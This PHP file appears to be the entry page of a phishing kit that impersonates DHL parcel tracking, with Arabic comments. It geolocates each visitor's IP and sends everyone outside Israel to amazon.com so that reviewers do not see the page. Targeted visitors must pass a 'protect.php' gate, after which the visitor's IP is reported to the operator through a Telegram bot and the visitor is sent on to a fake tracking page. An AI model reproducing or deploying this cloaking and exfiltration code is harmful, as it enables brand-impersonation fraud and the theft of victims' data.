<?php
session_start();

$config = require './_config.php';
include './include/functions.php';

// دالة للحصول على الـ IP الحقيقي بأفضل شكل ممكن
function getRealIp() {
    $keys = [
        'HTTP_CF_CONNECTING_IP', 
        'HTTP_X_REAL_IP', 
        'HTTP_X_FORWARDED_FOR', 
        'HTTP_CLIENT_IP',
        'REMOTE_ADDR'
    ];
    foreach ($keys as $key) {
        if (!empty($_SERVER[$key])) {
            // X-Forwarded-For قد يحتوي على قائمة IPs
            $parts = explode(',', $_SERVER[$key]);
            $ip = trim($parts[0]);
            if (filter_var($ip, FILTER_VALIDATE_IP)) {
                return $ip;
            }
        }
    }
    return null;
}

// IP الحقيقي
$ip = getRealIp();
if ($ip === null) {
    // fallback كما في كودك الأصلي
    $ip = $_SERVER['REMOTE_ADDR'] ?? null;
}
if ($ip === '127.0.0.1' || $ip === '::1' || $ip === null) {
    $ip = '82.78.61.86';
}

// دالة لجلب JSON عبر cURL (آمنة ومهيأة لتفادي مشاكل allow_url_fopen)
function fetch_json_curl($url, $timeout = 5) {
    if (!function_exists('curl_init')) {
        return false;
    }

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    // استخدم User-Agent بسيط وطبيعي لتقليل فرص الحظر
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)');
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    // تحقّق من الشهادة إذا أمكن — بعض البيئات قد تحتاج تعطيلها، لكن الأفضل تركها مفعلة
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);

    $body = @curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $errno = curl_errno($ch);
    $error = curl_error($ch);
    curl_close($ch);

    if ($errno || $httpCode < 200 || $httpCode >= 300 || !$body) {
        // في حالة 429 أو غيرها نعيد false ليتعامل الكود مع الحالة كما يجب
        return [
            'ok' => false,
            'http_code' => $httpCode,
            'error' => $error,
            'body' => $body
        ];
    }

    $json = json_decode($body, true);
    return [
        'ok' => true,
        'http_code' => $httpCode,
        'data' => $json
    ];
}

// جلب بيانات الـ IP — نستخدم ipwhois.app كما في كودك (مع cURL)
$geo_result = fetch_json_curl("https://ipwhois.app/json/{$ip}");
$data = null;
if ($geo_result && isset($geo_result['ok']) && $geo_result['ok'] === true && !empty($geo_result['data'])) {
    $data = $geo_result['data'];
} else {
    // فشل الجلب عبر cURL أو الخدمة ردت بشفرة خطأ
    // نحاول محاولة بديلة خفيفة (لا تعتمد على allow_url_fopen): يمكن محاولة ipapi كاحتياط إن أردت،
    // لكن لتقليل chances للحظر نترك $data كـ null وسيؤدي ذلك لطريقة التوجيه الحالية.
    $data = null;
}

// إذا الدولة ليست إسرائيل → توجيه لـ Amazon مباشرة
if (($data['country_code'] ?? '') !== 'IL') {
    header('Location: https://www.amazon.com');
    exit;
}

// --- هنا يبدأ باقي الكود فقط إذا الدولة = IL ---
if (!isset($_SESSION["verified"]) || $_SESSION["verified"] !== true) {
    header("Location: protect.php");
    exit;
}

// إرسال إشعار التلغرام مرة واحدة (باستخدام cURL لطلبات POST)
if (!isset($_SESSION["visit_notified"])) {
    function sendDirectVisitNotification($ip) {
        $cfgPath = __DIR__ . '/form/config.php';
        if (!file_exists($cfgPath)) return false;
        $config = require $cfgPath;
        $bot_token = $config['telegram_bot_token'] ?? null;
        $chat_id = $config['telegram_chat_id'] ?? null;
        if (!$bot_token || !$chat_id) return false;

        $time = date("Y-m-d H:i:s");
        $message = "🔔 زيارة مباشرة للموقع\n";
        $message .= "⏰ الوقت: $time\n";
        $message .= "🌐 عنوان IP: $ip\n";
        $message .= "📍 الصفحة: الصفحة الرئيسية";

        $url = "https://api.telegram.org/bot{$bot_token}/sendMessage";
        $postFields = [
            'chat_id' => $chat_id,
            'text' => $message,
            'parse_mode' => 'HTML'
        ];

        if (!function_exists('curl_init')) {
            // فشل؛ لا نحاول file_get_contents لأنه قد يكون معطلاً
            return false;
        }

        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postFields));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; NotificationBot/1.0)');
        $resp = @curl_exec($ch);
        $errno = curl_errno($ch);
        $error = curl_error($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);

        // لا نوقف التنفيذ إن فشل الإرسال؛ نكتفي بمحاولة هادئة
        return ($errno === 0 && $httpCode >= 200 && $httpCode < 300);
    }

    // محاولة إرسال الإشعار (هادئة، بدون رمي أخطاء)
    @sendDirectVisitNotification($ip);
    $_SESSION["visit_notified"] = true;
}
?>
<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Track & Trace Express - DHL</title>
</head>
<body>
    <div style="position:fixed; width:100%; height:100%; display:flex; justify-content:center; align-items:center;">
        <img src="./img/loading.svg" alt="" style="width:4rem;">
    </div>
    <script>
        setTimeout(() => {
            window.location.href = 'tracking-express.html?submit=1&tracking-id=<?= htmlspecialchars($config['tracking_code'], ENT_QUOTES, 'UTF-8'); ?>';
        }, 1000);
    </script>
</body>
</html>
